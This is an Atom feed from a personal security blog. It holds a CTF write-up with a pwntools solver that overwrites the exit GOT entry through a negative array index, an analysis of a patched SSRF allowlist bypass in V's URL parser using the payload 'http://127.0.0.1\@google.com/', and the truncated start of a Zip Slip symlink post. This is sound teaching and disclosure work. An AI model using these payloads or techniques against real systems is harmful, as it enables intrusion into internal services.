<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://ziad686.xyz/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ziad686.xyz/" rel="alternate" type="text/html" /><updated>2026-09-29T18:33:58+00:00</updated><id>https://ziad686.xyz/feed.xml</id><title type="html">Ziad686</title><subtitle>My Security Blog</subtitle><author><name>Ziad Salah</name></author><entry><title type="html">Tracker - NileCTF 2026</title><link href="https://ziad686.xyz/tracker-negative-index-got" rel="alternate" type="text/html" title="Tracker - NileCTF 2026" /><published>2026-09-25T00:00:00+00:00</published><updated>2026-09-25T00:00:00+00:00</updated><id>https://ziad686.xyz/tracker-negative-index-got</id><content type="html" xml:base="https://ziad686.xyz/tracker-negative-index-got"><![CDATA[<p>I authored this easy pwn challenge for NileCTF 2026. The binary is called <code class="language-plaintext highlighter-rouge">tracker</code>. It asks for an index and then stores an eight-byte value in a global <code class="language-plaintext highlighter-rouge">notes</code> array.</p>

<p>At first, the program looks like it checks the index correctly. It rejects values greater than <code class="language-plaintext highlighter-rouge">7</code>, so the valid indexes seem to be <code class="language-plaintext highlighter-rouge">0</code> through <code class="language-plaintext highlighter-rouge">7</code>. The missing check is for negative numbers. That gives us a write before the start of the array.</p>

<p>The binary also has a <code class="language-plaintext highlighter-rouge">win</code> function that prints the flag. The goal is to use the out-of-bounds write to make the program call <code class="language-plaintext highlighter-rouge">win</code> when it tries to exit.</p>

<h2 id="looking-at-main">Looking at <code class="language-plaintext highlighter-rouge">main()</code></h2>

<p>This is the relevant part of the function in Ghidra:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>

  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>

  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>

  <span class="kt">int</span> <span class="n">local_1c</span><span class="p">;</span>

  <span class="n">undefined8</span> <span class="n">local_18</span><span class="p">;</span>

  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>



  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>

  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"Index: "</span><span class="p">);</span>

  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">__isoc23_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00402014</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_1c</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>

    <span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">local_1c</span><span class="p">)</span> <span class="p">{</span>

      <span class="n">puts</span><span class="p">(</span><span class="s">"Out of bounds"</span><span class="p">);</span>

      <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Value: "</span><span class="p">);</span>

    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">__isoc23_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_0040202d</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_18</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>

      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">notes</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1c</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="n">local_18</span><span class="p">;</span>

      <span class="n">puts</span><span class="p">(</span><span class="s">"Done"</span><span class="p">);</span>

      <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>

    <span class="p">}</span>

  <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>

    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

  <span class="p">}</span>

  <span class="n">__stack_chk_fail</span><span class="p">();</span>

<span class="p">}</span>

</code></pre></div></div>

<p>The program reads the index into <code class="language-plaintext highlighter-rouge">local_1c</code>. It only checks whether the index is greater than <code class="language-plaintext highlighter-rouge">7</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">local_1c</span><span class="p">)</span> <span class="p">{</span>

  <span class="n">puts</span><span class="p">(</span><span class="s">"Out of bounds"</span><span class="p">);</span>

  <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="p">}</span>

</code></pre></div></div>

<p>There is no check that the index is zero or greater. A negative value passes this condition.</p>

<p>The value is then written using the index multiplied by eight:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">notes</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1c</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="n">local_18</span><span class="p">;</span>

</code></pre></div></div>

<p>The array contains eight-byte entries, so an index of <code class="language-plaintext highlighter-rouge">-1</code> writes eight bytes before <code class="language-plaintext highlighter-rouge">notes</code>, an index of <code class="language-plaintext highlighter-rouge">-2</code> writes sixteen bytes before it, and so on. This is the out-of-bounds write we need.</p>

<h2 id="finding-the-target">Finding the target</h2>

<p>The binary contains a <code class="language-plaintext highlighter-rouge">win</code> function that prints the flag.</p>

<p>The program calls <code class="language-plaintext highlighter-rouge">exit(0)</code> after the write:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">puts</span><span class="p">(</span><span class="s">"Done"</span><span class="p">);</span>

<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>

</code></pre></div></div>

<p>The next step is to change where this call goes. Dynamically linked Linux binaries use the Global Offset Table, or GOT, to store addresses for functions such as <code class="language-plaintext highlighter-rouge">exit</code> and <code class="language-plaintext highlighter-rouge">puts</code>. When the program calls <code class="language-plaintext highlighter-rouge">exit</code>, it loads the function address from the <code class="language-plaintext highlighter-rouge">exit</code> entry in the GOT.</p>

<p>For this challenge, the relevant GOT entry is writable. If we replace the address stored there with the address of <code class="language-plaintext highlighter-rouge">win</code>, the later <code class="language-plaintext highlighter-rouge">exit(0)</code> call will enter <code class="language-plaintext highlighter-rouge">win</code> instead.</p>

<h2 id="calculating-the-negative-index">Calculating the negative index</h2>

<p>The write starts at <code class="language-plaintext highlighter-rouge">notes</code> and advances by <code class="language-plaintext highlighter-rouge">index * 8</code>. We need the index that reaches the GOT entry for <code class="language-plaintext highlighter-rouge">exit</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">offset_bytes</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="sh">'</span><span class="s">exit</span><span class="sh">'</span><span class="p">]</span> <span class="o">-</span> <span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="sh">'</span><span class="s">notes</span><span class="sh">'</span><span class="p">]</span>

<span class="n">index</span> <span class="o">=</span> <span class="n">offset_bytes</span> <span class="o">//</span> <span class="mi">8</span>

</code></pre></div></div>

<p>Because the <code class="language-plaintext highlighter-rouge">exit</code> GOT entry is located before the <code class="language-plaintext highlighter-rouge">notes</code> array in memory, the result is negative. Sending that index makes the write land on the <code class="language-plaintext highlighter-rouge">exit</code> GOT entry.</p>

<p>The value written there is the address of <code class="language-plaintext highlighter-rouge">win</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="nf">str</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="sh">'</span><span class="s">win</span><span class="sh">'</span><span class="p">]).</span><span class="nf">encode</span><span class="p">()</span>

</code></pre></div></div>

<p>After the overwrite, the program reaches <code class="language-plaintext highlighter-rouge">exit(0)</code>, looks up the address in the GOT, and jumps to <code class="language-plaintext highlighter-rouge">win</code> instead. The <code class="language-plaintext highlighter-rouge">win</code> function prints the flag.</p>

<h2 id="solver">Solver</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="nc">ELF</span><span class="p">(</span><span class="sh">"</span><span class="s">./tracker</span><span class="sh">"</span><span class="p">)</span>

<span class="n">p</span> <span class="o">=</span> <span class="nf">process</span><span class="p">(</span><span class="sh">"</span><span class="s">./tracker</span><span class="sh">"</span><span class="p">)</span>

<span class="n">offset_bytes</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="sh">'</span><span class="s">exit</span><span class="sh">'</span><span class="p">]</span> <span class="o">-</span> <span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="sh">'</span><span class="s">notes</span><span class="sh">'</span><span class="p">]</span>

<span class="n">index</span> <span class="o">=</span> <span class="n">offset_bytes</span> <span class="o">//</span> <span class="mi">8</span>

<span class="n">p</span><span class="p">.</span><span class="nf">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Index: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">index</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="nf">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Value: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="sh">'</span><span class="s">win</span><span class="sh">'</span><span class="p">]).</span><span class="nf">encode</span><span class="p">())</span>

<span class="n">p</span><span class="p">.</span><span class="nf">interactive</span><span class="p">()</span>

</code></pre></div></div>]]></content><author><name>Ziad Salah</name></author><category term="ctf" /><category term="pwn" /><category term="my-challenge" /><summary type="html"><![CDATA[I authored this easy pwn challenge for NileCTF 2026. The binary is called tracker. It asks for an index and then stores an eight-byte value in a global notes array.]]></summary></entry><entry><title type="html">CVE-2026-67201 Analysis</title><link href="https://ziad686.xyz/cve-2026-67201-analysis" rel="alternate" type="text/html" title="CVE-2026-67201 Analysis" /><published>2026-07-26T00:00:00+00:00</published><updated>2026-07-26T00:00:00+00:00</updated><id>https://ziad686.xyz/cve-2026-67201-analysis</id><content type="html" xml:base="https://ziad686.xyz/cve-2026-67201-analysis"><![CDATA[<p>On July 26, 2026, I reported an SSRF issue in V 0.5.2. The issue was in the URL handling shared by <code class="language-plaintext highlighter-rouge">net.urllib</code> and <code class="language-plaintext highlighter-rouge">net.http</code>.</p>

<p>A URL such as this one could pass a domain allowlist as <code class="language-plaintext highlighter-rouge">google.com</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://127.0.0.1\@google.com/
</code></pre></div></div>

<p>But when the same URL was fetched with <code class="language-plaintext highlighter-rouge">net.http.get()</code>, the request reached <code class="language-plaintext highlighter-rouge">127.0.0.1</code> instead. That makes it possible to bypass an allowlist and send a server-side request to an internal service. <a href="https://github.com/vlang/v/issues/27945" title="V issue #27945: Security: SSRF in net.urllib due to backslash parsing">1</a></p>

<h2 id="reproducing-the-behavior">Reproducing the behavior</h2>

<p>This is the reproducer that I reported in issue #27945. The code below uses the same V APIs and the same URL, allowlist, and request flow:</p>

<pre><code class="language-v">import net.urllib
import net.http

fn main( ) {
    target := 'http://127.0.0.1\\\\@google.com/'
    whitelist := ['google.com', 'github.com']
    
    url := urllib.parse(target ) or { return }
    println("Parsed Host: ${url.host}") 
    
    if url.host !in whitelist {
        println("Access Denied")
        return
    }
    println("Check Passed")
    
    println("Fetching URL" )
    http.get(target ) or { return }
    println("Connected to 127.0.0.1 instead of google.com")
}
</code></pre>

<p>The important part is that the program parses <code class="language-plaintext highlighter-rouge">target</code> once for the allowlist check, then passes the original raw string to <code class="language-plaintext highlighter-rouge">http.get()</code> for the request. The value being checked and the value being used by the HTTP client do not end up representing the same destination.</p>

<h2 id="what-parse-does-with-the-url">What <code class="language-plaintext highlighter-rouge">parse()</code> does with the URL</h2>

<p>In the affected V source, the public parser is only a wrapper:</p>

<pre><code class="language-v">pub fn parse(rawurl string) !URL {
    return parse_url(rawurl, false)
}
</code></pre>

<p>The first part of <code class="language-plaintext highlighter-rouge">parse_url()</code> separates the scheme from the rest of the URL. For the payload, the parser gets these parts:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scheme = http
rest   = //127.0.0.1\@google.com/
</code></pre></div></div>

<p>The parser then handles the authority when the remaining string starts with <code class="language-plaintext highlighter-rouge">//</code>:</p>

<pre><code class="language-v">if ((url.scheme != '' || !via_request) &amp;&amp; !rest.starts_with('///'))
    &amp;&amp; rest.starts_with('//') &amp;&amp; rest.len &gt; 2 {
    authority, r := split(rest[2..], `/`, false)
    rest = r
    a := parse_authority(authority)!
    url.user = a.user
    url.host = a.host
}
</code></pre>

<p>The <code class="language-plaintext highlighter-rouge">split()</code> call separates the authority from the path at the first <code class="language-plaintext highlighter-rouge">/</code>. The values are now:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>authority = 127.0.0.1\@google.com
rest       = /
</code></pre></div></div>

<p>The authority is passed to <code class="language-plaintext highlighter-rouge">parse_authority()</code>.</p>

<h2 id="the-authority-split">The authority split</h2>

<p>The relevant code in <code class="language-plaintext highlighter-rouge">parse_authority()</code> searches for the last <code class="language-plaintext highlighter-rouge">@</code>:</p>

<pre><code class="language-v">fn parse_authority(authority string) !ParseAuthorityRes {
    i := authority.last_index_u8(`@`)

    if i &lt; 0 {
        return ParseAuthorityRes{
            host: parse_host(authority)!
            user: user('')
        }
    }

    raw_user, raw_host := authority[..i], authority[i + 1..]
</code></pre>

<p>For the payload, that produces:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>raw_user = 127.0.0.1\
raw_host = google.com
</code></pre></div></div>

<p>This is the key split. The backslash is before the <code class="language-plaintext highlighter-rouge">@</code>, so it becomes part of <code class="language-plaintext highlighter-rouge">raw_user</code>. The host parser never receives <code class="language-plaintext highlighter-rouge">127.0.0.1\</code>; it receives <code class="language-plaintext highlighter-rouge">google.com</code>.</p>

<p>The parser checks the userinfo before parsing the host:</p>

<pre><code class="language-v">if !valid_userinfo(raw_user) {
    return error(error_msg('parse_authority: invalid userinfo', ''))
}

host := parse_host(raw_host)!
</code></pre>

<h2 id="why-the-backslash-is-accepted">Why the backslash is accepted</h2>

<p>In the vulnerable version, <code class="language-plaintext highlighter-rouge">valid_userinfo()</code> explicitly allowed a backslash:</p>

<pre><code class="language-v">pub fn valid_userinfo(s string) bool {
    for r in s {
        if r.is_alnum() {
            continue
        }

        match r {
            `-`, `.`, `_`, `:`, `~`, `!`, `$`, `&amp;`, `\\`, `(`, `)`, `*`, `+`, `,`, `;`, `=`, `%`,
            `@` {
                continue
            }
            else {
                return false
            }
        }
    }
    return true
}
</code></pre>

<p>The string <code class="language-plaintext highlighter-rouge">127.0.0.1\</code> therefore passes <code class="language-plaintext highlighter-rouge">valid_userinfo()</code>. It is not rejected as an invalid authority character.</p>

<p><code class="language-plaintext highlighter-rouge">parse_authority()</code> then decodes the accepted userinfo and returns it together with the host:</p>

<pre><code class="language-v">name, pwd := split(raw_user, `:`, true)
auth := if pwd != '' {
    user_password(unescape(name, .encode_user_password)!, unescape(pwd, .encode_user_password)!)
} else {
    user(unescape(name, .encode_user_password)!)
}

return ParseAuthorityRes{
    user: auth
    host: host
}
</code></pre>

<p>The URL object returned by <code class="language-plaintext highlighter-rouge">urllib.parse()</code> is effectively:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>url.user.username = 127.0.0.1\
url.host          = google.com
url.path          = /
</code></pre></div></div>

<h2 id="what-parse_host-receives">What <code class="language-plaintext highlighter-rouge">parse_host()</code> receives</h2>

<p><code class="language-plaintext highlighter-rouge">parse_host()</code> receives only <code class="language-plaintext highlighter-rouge">raw_host</code>, which is <code class="language-plaintext highlighter-rouge">google.com</code>. This is the actual function from the affected source:</p>

<pre><code class="language-v">fn parse_host(host string) !string {
    if host.len &gt; 0 &amp;&amp; host[0] == `[` {
        // parse an IP-Literal in RFC 3986 and RFC 6874.
        i := host.last_index_u8(`]`)
        if i == -1 {
            return error(error_msg("parse_host: missing ']' in host", ''))
        }
        mut colon_port := host[i + 1..]
        if !valid_optional_port(colon_port) {
            return error(error_msg('parse_host: invalid port ${colon_port} after host ', ''))
        }
        if zone := host[..i].index('%25') {
            host1 := unescape(host[..zone], .encode_host)!
            host2 := unescape(host[zone..i], .encode_zone)!
            host3 := unescape(host[i..], .encode_host)!
            return host1 + host2 + host3
        }
    } else {
        i := host.last_index_u8(`:`)
        if i != -1 {
            colon_port := host[i..]
            if !valid_optional_port(colon_port) {
                return error(error_msg('parse_host: invalid port ${colon_port} after host ', ''))
            }
        }
    }
    h := unescape(host, .encode_host)!
    return h
}
</code></pre>

<p>There is no port in <code class="language-plaintext highlighter-rouge">google.com</code>, and the host contains no character that the old parser rejects. <code class="language-plaintext highlighter-rouge">unescape()</code> returns <code class="language-plaintext highlighter-rouge">google.com</code>, so the host stored in the URL remains:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>google.com
</code></pre></div></div>

<p>The host allowlist therefore sees <code class="language-plaintext highlighter-rouge">google.com</code> and accepts the URL:</p>

<pre><code class="language-v">if url.host !in whitelist {
    println('Access Denied')
    return
}
</code></pre>

<p>The check passes because the parser returned the host that the application trusts.</p>

<h2 id="the-error-handling-problem-in-unescape">The error-handling problem in <code class="language-plaintext highlighter-rouge">unescape()</code></h2>

<p>The same old parser also had a separate error-propagation problem. In host mode, <code class="language-plaintext highlighter-rouge">unescape()</code> constructed an invalid-host error without returning it:</p>

<pre><code class="language-v">if (mode == .encode_host || mode == .encode_zone)
    &amp;&amp; s[i] &lt; 0x80
    &amp;&amp; should_escape(s[i], mode) {
    error(error_msg('unescape: invalid character in host name', s[i..i + 1]))
}
</code></pre>

<p>That should have stopped parsing, but the error was discarded. This is related to the overall parser weakness and was fixed in the same commit.</p>

<p>For this exact payload, the direct allowlist bypass happens one step earlier: the backslash is placed before <code class="language-plaintext highlighter-rouge">@</code>, so <code class="language-plaintext highlighter-rouge">parse_authority()</code> puts it in <code class="language-plaintext highlighter-rouge">raw_user</code>, and <code class="language-plaintext highlighter-rouge">valid_userinfo()</code> accepts it. <code class="language-plaintext highlighter-rouge">parse_host()</code> only sees <code class="language-plaintext highlighter-rouge">google.com</code>. The discarded host error is still important because it shows that the old parser was not consistently rejecting invalid authority input, but it is not the specific branch that separates this payload into userinfo and host.</p>

<h2 id="how-the-request-reaches-the-network">How the request reaches the network</h2>

<p>The allowlist check calls <code class="language-plaintext highlighter-rouge">urllib.parse(target)</code>, but the request uses the original string again:</p>

<pre><code class="language-v">pub fn get(url string) !Response {
    return fetch(method: .get, url: url)
}
</code></pre>

<p>In the affected HTTP source, the request path is:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.get(target)
    -&gt; fetch(config)
    -&gt; prepare(config)
    -&gt; build_url_from_fetch(config)
    -&gt; Request.do()
    -&gt; method_and_url_to_response()
    -&gt; http_do()
    -&gt; net.dial_tcp()
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">prepare()</code> builds the request URL from the raw input. <code class="language-plaintext highlighter-rouge">build_url_from_fetch()</code> parses the input and serializes the resulting URL:</p>

<pre><code class="language-v">fn build_url_from_fetch(config FetchConfig) !string {
    mut url := urllib.parse(config.url)!

    if config.params.len == 0 {
        return url.str()
    }

    mut pieces := []string{cap: config.params.len}
    for key, val in config.params {
        pieces &lt;&lt; '${key}=${val}'
    }

    mut query := pieces.join('&amp;')
    if url.raw_query.len &gt; 1 {
        query = url.raw_query + '&amp;' + query
    }

    url.raw_query = query
    return url.str()
}
</code></pre>

<p>The HTTP request object later parses its URL again:</p>

<pre><code class="language-v">pub fn (req &amp;Request) do() !Response {
    mut rurl := urllib.parse(req.url) or {
        return error('http.Request.do: invalid url ${req.url}')
    }

    qresp := req.method_and_url_to_response(method, rurl, data, header)!
    return qresp
}
</code></pre>

<p>The request code takes the hostname from the parsed URL, chooses the port, and sends the host to the HTTP transport. These are the actual relevant lines from <code class="language-plaintext highlighter-rouge">method_and_url_to_response()</code> in the affected source:</p>

<pre><code class="language-v">host_name := url.hostname()
scheme := url.scheme
p := url.escaped_path().trim_left('/')
path := if url.query().len &gt; 0 { '/${p}?${url.query().encode()}' } else { '/${p}' }
mut nport := url.port().int()
if nport == 0 {
    if scheme == 'http' {
        nport = 80
    }
    if scheme == 'https' {
        nport = 443
    }
}
</code></pre>

<p>For a direct HTTP request, the same function calls <code class="language-plaintext highlighter-rouge">http_do()</code> with the hostname and selected port:</p>

<pre><code class="language-v">} else if scheme == 'http' &amp;&amp; req.proxy == unsafe { nil } {
    for i in 0 .. req.max_retries {
        res := req.http_do('${host_name}:${nport}', method, path, data, header) or {
            if i == req.max_retries - 1 || is_no_need_retry_error(err.code()) {
                return err
            }
            continue
        }
        return res
    }
}
</code></pre>

<p>Inside <code class="language-plaintext highlighter-rouge">http_do()</code>, the host is passed to the TCP dialer. These are the actual connection lines:</p>

<pre><code class="language-v">host_name, port := net.split_address(host)!
s := req.build_request_headers_with(method, host_name, port, path, data, header)
mut client := net.dial_tcp(host)!
client.write(s.bytes())!
</code></pre>

<p>The issue report records the observed result of this request path: <code class="language-plaintext highlighter-rouge">net.http.get()</code> normalizes the backslash and connects to <code class="language-plaintext highlighter-rouge">127.0.0.1</code>. The source excerpts above show the actual request functions and the point where the chosen hostname reaches <code class="language-plaintext highlighter-rouge">net.dial_tcp()</code>; the issue is the source for the specific normalization behavior. I am not adding a made-up <code class="language-plaintext highlighter-rouge">replace()</code> call because there is no such line in the source excerpts.</p>

<p>The final mismatch is:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host returned to the allowlist: google.com
Host reached by the request:    127.0.0.1
</code></pre></div></div>

<p>That is the SSRF bypass. An attacker does not need the application to allow <code class="language-plaintext highlighter-rouge">127.0.0.1</code>. They only need the application to validate a URL using the parser’s result and then pass the original URL to a component that interprets it differently.</p>

<h2 id="the-patch">The patch</h2>

<p>The fix was merged in commit <code class="language-plaintext highlighter-rouge">85859f0</code> through pull request #27947. It changed the URL parser rather than adding a special check for this one payload.</p>

<p>The old host-character rules allowed a raw backslash. The patch removes it and restores the apostrophe as the RFC-valid sub-delimiter:</p>

<pre><code class="language-v">// old
`!`, `$`, `&amp;`, `\\`, `(`, `)`, `*`, `+`, `,`, `;`, `=`, `:`, `[`, `]`, `&lt;`, `&gt;`

// fixed
`!`, `$`, `&amp;`, `'`, `(`, `)`, `*`, `+`, `,`, `;`, `=`, `:`, `[`, `]`, `&lt;`, `&gt;`
</code></pre>

<p>The same change was made to <code class="language-plaintext highlighter-rouge">valid_userinfo()</code>, so the backslash in <code class="language-plaintext highlighter-rouge">127.0.0.1\</code> no longer passes the userinfo validation.</p>

<p>The discarded error in <code class="language-plaintext highlighter-rouge">unescape()</code> was changed to a returned error:</p>

<pre><code class="language-v">return error(error_msg('unescape: invalid character in host name', s[i..i + 1]))
</code></pre>

<p>The parser now rejects the malformed authority instead of continuing with a value that another component may interpret differently.</p>

<p>The fix also added regression tests for these URLs:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://127.0.0.1\@google.com/
http://user@google.com\path
http://google.com\path
</code></pre></div></div>

<p>The tests require the parser to reject them. A separate test confirms that apostrophes remain valid in authority components. <a href="https://github.com/vlang/v/commit/85859f0f3498d4091b38009c45ed390a97eeedc2" title="V commit 85859f0: net.urllib: reject backslashes in URL authorities">3</a></p>

<p>The issue was closed as completed on July 26, 2026. CVE-2026-67201 was assigned later, and the CVE record lists V through 0.5.2 as affected and commit <code class="language-plaintext highlighter-rouge">85859f0</code> as the fix. <a href="https://github.com/vlang/v/issues/27945" title="V issue #27945: Security: SSRF in net.urllib due to backslash parsing">1</a></p>

<h2 id="tldr">TL;DR</h2>

<p>V 0.5.2 accepted a crafted URL containing a backslash before the <code class="language-plaintext highlighter-rouge">@</code> separator: <code class="language-plaintext highlighter-rouge">http://127.0.0.1\@google.com/</code>. In <code class="language-plaintext highlighter-rouge">net.urllib</code>, <code class="language-plaintext highlighter-rouge">parse_authority()</code> treated <code class="language-plaintext highlighter-rouge">127.0.0.1\</code> as userinfo and <code class="language-plaintext highlighter-rouge">google.com</code> as the host. A program checking <code class="language-plaintext highlighter-rouge">url.host</code> against an allowlist could therefore approve the URL as an allowed request to <code class="language-plaintext highlighter-rouge">google.com</code>.</p>

<p>The original URL was then passed to <code class="language-plaintext highlighter-rouge">net.http.get()</code>. The HTTP request path interpreted the backslash differently and connected to <code class="language-plaintext highlighter-rouge">127.0.0.1</code>, allowing the allowlist to be bypassed and the server to reach an internal service. The fix removed backslashes from the valid host and userinfo character sets, corrected error propagation in <code class="language-plaintext highlighter-rouge">unescape()</code>, and added regression tests for the crafted authority cases.</p>

<h2 id="references">References</h2>

<ol>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-67201" title="NVD: CVE-2026-67201">NVD: CVE-2026-67201</a></li>
  <li><a href="https://github.com/vlang/v/issues/27945" title="V issue #27945: Security: SSRF in net.urllib due to backslash parsing">V issue #27945: Security: SSRF in net.urllib due to backslash parsing</a></li>
  <li><a href="https://github.com/vlang/v/pull/27947" title="V pull request #27947: net.urllib: reject backslashes in URL authorities">V pull request #27947: net.urllib: reject backslashes in URL authorities</a></li>
  <li><a href="https://github.com/vlang/v/commit/85859f0f3498d4091b38009c45ed390a97eeedc2" title="V commit 85859f0: net.urllib: reject backslashes in URL authorities">V commit 85859f0: net.urllib: reject backslashes in URL authorities</a></li>
  <li><a href="https://github.com/vlang/v/blob/88c5db7/vlib/net/urllib/urllib.v" title="V pre-fix net.urllib source">V pre-fix net.urllib source</a></li>
  <li><a href="https://github.com/vlang/v/blob/88c5db7/vlib/net/http/http.v" title="V pre-fix net.http source">V pre-fix net.http source</a></li>
  <li><a href="https://github.com/vlang/v/blob/88c5db7/vlib/net/http/request.v" title="V pre-fix HTTP request source">V pre-fix HTTP request source</a></li>
</ol>]]></content><author><name>Ziad Salah</name></author><category term="cve" /><category term="vlang" /><category term="ssrf" /><summary type="html"><![CDATA[On July 26, 2026, I reported an SSRF issue in V 0.5.2. The issue was in the URL handling shared by net.urllib and net.http.]]></summary></entry><entry><title type="html">My First CVE - CVE-2026-56876</title><link href="https://ziad686.xyz/my-first-cve-extract-zip" rel="alternate" type="text/html" title="My First CVE - CVE-2026-56876" /><published>2026-06-26T00:00:00+00:00</published><updated>2026-06-26T00:00:00+00:00</updated><id>https://ziad686.xyz/my-first-cve-extract-zip</id><content type="html" xml:base="https://ziad686.xyz/my-first-cve-extract-zip"><![CDATA[<h2 id="how-it-started">How it started</h2>

<p>On June 26, 2026, I got my first CVE. I was freaking happy. It was CVE-2026-56876.</p>

<p>Before that, I was looking around online when I found an article about Zip Slip on <a href="https://hacktricks.wiki/en/generic-hacking/archive-extraction-path-traversal.html">HackTricks</a>.</p>

<p>I knew about normal path traversal, but then I saw the part about symlinks.</p>

<h2 id="zip-slip-and-symlinks">Zip Slip and symlinks</h2>

<p>The problem happens when an extractor finds a symlink and simply creates it. It may think, “This is a symlink, so I will extract it and point it to its target.”</p>

<p>But if it does not check where the symlink points, the target can be outside the extraction folder. It could point to /etc/passwd or another important file. Depending on what the application does after extraction, this could allow an attacker to read or write files outside the intended folder.</p>

<p>I thought this bug was cool, so I asked myself why not find a similar one.</p>

<h2 id="choosing-a-target">Choosing a target</h2>

<p>I started researching possible targets. I wanted a project that looked inactive but still had a decent number of users. That way, there would be less attention on it while I tested it.</p>

<p>My choice was <code class="language-plaintext highlighter-rouge">extract-zip</code>.</p>

<p>Now I had a target and a goal. Time to work.</p>

<h2 id="finding-the-bug">Finding the bug</h2>

<p>I first searched the source code for mentions of symlinks. I found this block:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if </span><span class="p">(</span><span class="nx">symlink</span><span class="p">)</span> <span class="p">{</span>
